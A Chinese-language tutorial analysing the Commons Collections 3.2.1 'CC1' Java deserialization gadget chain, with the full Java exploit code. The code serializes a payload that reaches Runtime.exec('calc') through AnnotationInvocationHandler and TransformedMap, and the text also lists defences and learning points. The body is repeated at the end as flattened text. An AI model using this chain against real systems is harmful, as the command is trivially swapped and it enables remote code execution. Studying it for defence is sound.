java反序列化-cc1链分析
字数 1247 2025-08-11 08:35:55

Java反序列化漏洞分析:Commons Collections CC1链

1. 漏洞背景

Apache Commons Collections是一个广泛使用的Java库,提供了对Java集合框架的扩展和增强。在3.2.1及以下版本中存在反序列化漏洞,攻击者可以通过精心构造的序列化数据在目标系统上执行任意代码。

2. 环境准备

2.1 必要组件

  • JDK版本:8u65(漏洞在8u71版本修复)
  • Commons Collections版本:3.2.1
  • 开发工具:IDEA

2.2 Maven依赖

<dependencies>
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
    </dependency>
</dependencies>

2.3 JDK源码配置

  1. 下载JDK8u65源码
  2. 解压src.zip到src文件夹
  3. 将sun文件夹复制到src目录下
  4. 在IDEA中将src文件夹添加为源路径

3. 漏洞核心分析

3.1 关键接口和类

3.1.1 Transformer接口

Transformer接口是CC1链的核心,定义了一个transform方法:

public interface Transformer {
    Object transform(Object input);
}

3.1.2 InvokerTransformer类

InvokerTransformer实现了Transformer接口,可以通过反射调用任意方法:

public class InvokerTransformer implements Transformer, Serializable {
    private final String iMethodName;
    private final Class[] iParamTypes;
    private final Object[] iArgs;
    
    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
        } catch (Exception ex) {
            // 异常处理
        }
    }
}

3.2 漏洞利用点

利用InvokerTransformer可以执行任意命令:

InvokerTransformer invokerTransformer = new InvokerTransformer(
    "exec", 
    new Class[]{String.class}, 
    new Object[]{"calc"}
);
Runtime runtime = Runtime.getRuntime();
invokerTransformer.transform(runtime);  // 弹出计算器

3.3 调用链构造

3.3.1 TransformedMap类

TransformedMap提供了对Map的装饰功能,其中的checkSetValue方法会调用Transformer

protected Object checkSetValue(Object value) {
    return valueTransformer.transform(value);
}

3.3.2 MapEntry类

MapEntrysetValue方法会调用checkSetValue

public Object setValue(Object value) {
    value = parent.checkSetValue(value);
    return super.setValue(value);
}

3.3.3 AnnotationInvocationHandler类

关键入口点,其readObject方法会调用setValue

private void readObject(ObjectInputStream var1) {
    // ...
    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
        memberValue.setValue(...);
    }
}

3.4 解决技术难点

3.4.1 Runtime类不可序列化

使用反射链+ChainedTransformer解决:

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", 
        new Class[]{String.class, Class[].class}, 
        new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", 
        new Class[]{Object.class, Object[].class}, 
        new Object[]{null, null}),
    new InvokerTransformer("exec", 
        new Class[]{String.class}, 
        new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

3.4.2 AnnotationInvocationHandler访问限制

通过反射实例化:

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotation = c.getDeclaredConstructor(Class.class, Map.class);
annotation.setAccessible(true);
Object o = annotation.newInstance(Target.class, transformedmap);

3.4.3 readObject的条件判断

必须使用@Target注解,且Map的key必须为"value":

HashMap<Object,Object> map = new HashMap<>();
map.put("value", "任意值");

4. 完整利用链

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CC1Exploit {
    public static void main(String[] args) throws Exception {
        // 构造Transformer链
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", 
                new Class[]{String.class, Class[].class}, 
                new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", 
                new Class[]{Object.class, Object[].class}, 
                new Object[]{null, null}),
            new InvokerTransformer("exec", 
                new Class[]{String.class}, 
                new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        
        // 构造恶意Map
        HashMap<Object,Object> map = new HashMap<>();
        map.put("value", "任意值");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
        
        // 反射创建AnnotationInvocationHandler实例
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object instance = constructor.newInstance(Target.class, transformedMap);
        
        // 序列化和反序列化触发漏洞
        serialize(instance);
        unserialize("payload.bin");
    }
    
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.bin"));
        oos.writeObject(obj);
        oos.close();
    }
    
    public static void unserialize(String file) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file));
        ois.readObject();
        ois.close();
    }
}

5. 调用链总结

完整的CC1调用链如下:

AnnotationInvocationHandler.readObject()
    -> TransformedMap.entrySet().iterator().next().setValue()
        -> TransformedMap.checkSetValue()
            -> ChainedTransformer.transform()
                -> ConstantTransformer.transform()  // 返回Runtime.class
                -> InvokerTransformer.transform()   // 获取getRuntime方法
                -> InvokerTransformer.transform()   // 调用getRuntime()
                -> InvokerTransformer.transform()   // 调用exec("calc")

6. 防御措施

  1. 升级Commons Collections到最新版本(3.2.2+)
  2. 升级JDK到8u71及以上版本
  3. 使用反序列化过滤器(ObjectInputFilter)
  4. 避免反序列化不可信数据

7. 学习要点

  1. Java反射机制:理解反射是分析此类漏洞的基础
  2. 装饰器模式:理解TransformedMap的工作原理
  3. Java序列化机制:深入理解readObject方法
  4. 链式调用:理解如何将多个Transformer串联起来
  5. 条件绕过:理解如何满足各种条件判断

通过分析CC1链,可以深入理解Java反序列化漏洞的原理和利用方式,为后续分析其他反序列化漏洞打下坚实基础。

Java反序列化漏洞分析:Commons Collections CC1链 1. 漏洞背景 Apache Commons Collections是一个广泛使用的Java库,提供了对Java集合框架的扩展和增强。在3.2.1及以下版本中存在反序列化漏洞,攻击者可以通过精心构造的序列化数据在目标系统上执行任意代码。 2. 环境准备 2.1 必要组件 JDK版本 :8u65(漏洞在8u71版本修复) Commons Collections版本 :3.2.1 开发工具 :IDEA 2.2 Maven依赖 2.3 JDK源码配置 下载JDK8u65源码 解压src.zip到src文件夹 将sun文件夹复制到src目录下 在IDEA中将src文件夹添加为源路径 3. 漏洞核心分析 3.1 关键接口和类 3.1.1 Transformer接口 Transformer接口是CC1链的核心,定义了一个transform方法: 3.1.2 InvokerTransformer类 InvokerTransformer 实现了 Transformer 接口,可以通过反射调用任意方法: 3.2 漏洞利用点 利用 InvokerTransformer 可以执行任意命令: 3.3 调用链构造 3.3.1 TransformedMap类 TransformedMap 提供了对Map的装饰功能,其中的 checkSetValue 方法会调用 Transformer : 3.3.2 MapEntry类 MapEntry 的 setValue 方法会调用 checkSetValue : 3.3.3 AnnotationInvocationHandler类 关键入口点,其 readObject 方法会调用 setValue : 3.4 解决技术难点 3.4.1 Runtime类不可序列化 使用反射链+ ChainedTransformer 解决: 3.4.2 AnnotationInvocationHandler访问限制 通过反射实例化: 3.4.3 readObject的条件判断 必须使用 @Target 注解,且Map的key必须为"value": 4. 完整利用链 5. 调用链总结 完整的CC1调用链如下: 6. 防御措施 升级Commons Collections到最新版本(3.2.2+) 升级JDK到8u71及以上版本 使用反序列化过滤器(ObjectInputFilter) 避免反序列化不可信数据 7. 学习要点 Java反射机制 :理解反射是分析此类漏洞的基础 装饰器模式 :理解TransformedMap的工作原理 Java序列化机制 :深入理解readObject方法 链式调用 :理解如何将多个Transformer串联起来 条件绕过 :理解如何满足各种条件判断 通过分析CC1链,可以深入理解Java反序列化漏洞的原理和利用方式,为后续分析其他反序列化漏洞打下坚实基础。